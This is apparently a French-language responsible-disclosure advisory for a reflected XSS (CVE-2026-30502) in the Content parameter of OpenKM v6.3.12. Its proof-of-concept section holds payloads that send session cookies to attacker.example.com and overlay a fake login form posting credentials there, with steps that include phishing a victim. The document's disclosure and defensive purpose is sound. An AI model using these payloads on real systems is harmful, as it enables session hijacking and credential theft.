🛡️ CVE-2026-30502 — XSS Réfléchi dans OpenKM v6.3.12

📌 Table des matières

• Vue d'ensemble
• Détails du CVE
• Produit concerné
• Description de la vulnérabilité
• Analyse de la cause racine
• Impact et évaluation des risques
• Preuve de concept (PoC)
• Remédiation et recommandations
• Calendrier de divulgation
• Références
• À propos du chercheur

🔍 Vue d'ensemble

Ce dépôt documente la divulgation responsable de CVE-2026-30502, une vulnérabilité de Cross-Site Scripting Réfléchi (XSS) identifiée dans OpenKM v6.3.12 — un système de gestion documentaire open source largement déployé dans les environnements d'entreprise et gouvernementaux.

La vulnérabilité existe dans le paramètre Content, qui renvoie l'entrée fournie par l'utilisateur au navigateur sans validation ni encodage de sortie approprié. Un attaquant peut créer une URL malveillante contenant du JavaScript intégré et amener une victime à cliquer dessus via une ingénierie sociale, ce qui entraîne l'exécution de scripts dans la session du navigateur de la victime.

⚠️ Sévérité : Moyenne–Élevée | Vecteur d'attaque : Réseau | Privilèges requis : Aucun | Interaction utilisateur : Requise

📋 Détails du CVE

📦 Produit concerné

OpenKM est un système de gestion documentaire (DMS) gratuit et open source qui fournit une interface web pour gérer, auditer et distribuer des documents professionnels. Il est utilisé par des entreprises, des organismes gouvernementaux et des établissements d'enseignement dans le monde entier.

• Nom du produit : Système de gestion documentaire OpenKM
• Version affectée : v6.3.12
• Site web du fournisseur : https://www.openkm.com
• Catégorie : Système de gestion documentaire (DMS)
• Langage / Stack : Java (JSP / Spring Framework)

🧨 Description de la vulnérabilité

Une vulnérabilité de Cross-Site Scripting Réfléchi (XSS) a été identifiée dans OpenKM v6.3.12 via le paramètre Content. L'application ne valide ni n'encode l'entrée fournie par l'utilisateur avant de la renvoyer dans le corps de la réponse HTTP, permettant d'injecter et d'exécuter du JavaScript arbitraire dans le navigateur de la victime.

Contrairement au XSS stocké, une charge utile XSS réfléchie n'est pas persistée dans la base de données — elle est transportée dans une URL spécialement conçue. L'attaque repose sur le fait que la victime est amenée à cliquer sur un lien malveillant (via e-mail, réseaux sociaux ou campagnes de phishing), après quoi la charge utile s'exécute silencieusement dans son navigateur avec le contexte de sa session.

Flux de l'attaque

L'attaquant crée une URL malveillante
        │
        ▼
La victime clique sur le lien (phishing / ingénierie sociale)
        │
        ▼
Le navigateur envoie une requête GET/POST avec la charge utile dans le paramètre `Content`
        │
        ▼
OpenKM reflète l'entrée non nettoyée directement dans la réponse HTML
        │
        ▼
Le navigateur analyse et exécute le JavaScript injecté
        │
        ▼
Session détournée / identifiants volés / compte compromis

🔬 Analyse de la cause racine

La vulnérabilité résulte de l'incapacité de l'application à appliquer des contrôles de sécurité entrée-sortie sur le paramètre Content :

URL créée par l'utilisateur ──► Paramètre Content ──► [Aucune validation]
       ──► Réfléchi dans la réponse HTML ──► [Aucun encodage]
              ──► Le navigateur exécute le script ──► Compte compromis

💥 Impact et évaluation des risques

Une exploitation réussie de cette vulnérabilité peut entraîner :

🧪 Preuve de concept (PoC)

⚠️ Avertissement : Les informations suivantes sont partagées strictement à des fins éducatives et de recherche en sécurité dans le cadre des principes de divulgation responsable. Ne testez ni n'utilisez cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite d'évaluation.

Exemples de charges utiles (Génériques)

// Preuve d'exécution de base
<script>alert('CVE-2026-30502 - XSS par Dharmendra Kumar')</script>

// Exfiltration de cookie de session
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Superposition de phishing d'identifiants
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Nom d\'utilisateur"/>'
    +'<input name="p" type="password" placeholder="Mot de passe"/>'
    +'<button>Se connecter</button></form>';
  document.body.prepend(d);
</script>

Structure d'URL malveillante créée

https://instance-cible-openkm/[point-de-termine-vulnerable]?Content=<script>alert(1)</script>

Étapes pour reproduire

1. Identifiez le point de terminaison vulnérable dans OpenKM v6.3.12 qui reflète le paramètre Content
2. Créez une URL en ajoutant une charge utile XSS au paramètre Content
3. Encodez l'URL si nécessaire
4. Envoyez le lien créé à une victime par e-mail, chat ou tout vecteur d'ingénierie sociale
5. Lorsque la victime ouvre le lien dans sa session navigateur authentifiée, la charge utile s'exécute
6. Observez l'exécution JavaScript, le vol de cookies ou le comportement de redirection

🛠️ Remédiation et recommandations

Pour les développeurs / fournisseurs

Pour les administrateurs système

• 🔒 Restreindre l'accès à OpenKM aux réseaux internes/ de confiance via des règles de pare-feu
• 🛡️ Déployer un pare-feu applicatif web (WAF) avec des signatures de détection XSS comme mesure compensatoire
• 📊 Surveiller les journaux d'accès du serveur web pour détecter les balises script inattendues ou les charges utiles encodées dans les chaînes de requête
• 🔄 Maintenir l'installation d'OpenKM à jour vers la version sécurisée la plus récente
• 📧 Former les utilisateurs à être prudents lorsqu'ils cliquent sur des liens non sollicités vers le DMS

📅 Calendrier de divulgation

Des principes complets de divulgation responsable ont été suivis tout au long de ce processus, y compris la coordination avec le fournisseur et l'engagement du programme CVE avant toute publication publique.

📚 Références

• 🔗 Entrée MITRE CVE — CVE-2026-30502
• 🔗 NVD — National Vulnerability Database
• 🔗 Site officiel d'OpenKM
• 🔗 Aide-mémoire OWASP sur la prévention des XSS
• 🔗 CWE-79 : Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Injection
• 🔗 OWASP Java Encoder

👨‍💻 À propos du chercheur

Dharmendra Kumar est un chercheur en cybersécurité indépendant spécialisé dans la sécurité des applications web, les tests d'intrusion et la divulgation responsable de vulnérabilités. Ses recherches se concentrent sur l'identification et le signalement responsable de failles de sécurité réelles dans des logiciels largement utilisés — contribuant à des applications plus sûres pour les utilisateurs du monde entier.

Domaines d'expertise :

• 🌐 Tests d'intrusion d'applications web
• 🐛 Chasse aux bugs et recherche CVE
• 🔍 Découverte de vulnérabilités et avis de sécurité
• 📋 Divulgation responsable et rapport CVE coordonné

Connectez-vous avec moi :

⚖️ Avertissement légal

Ce dépôt est destiné uniquement à des fins éducatives et informatives. Les détails de la vulnérabilité et les charges utiles de preuve de concept sont publiés conformément aux principes de divulgation responsable. L'auteur n'approuve ni n'assume la responsabilité de toute utilisation non autorisée de ces informations. Obtenez toujours une autorisation écrite explicite avant d'effectuer des tests de sécurité sur un système que vous ne possédez pas.

🙏 Remerciements

Remerciements spéciaux à :

• L'équipe de développement d'OpenKM pour leur coopération et leur réactivité lors de la divulgation coordonnée
• Le programme CVE de MITRE pour l'attribution et la gestion de l'identifiant CVE
• La communauté mondiale de recherche en sécurité et de chasse aux bugs pour avoir constamment élevé le niveau de la sécurité des applications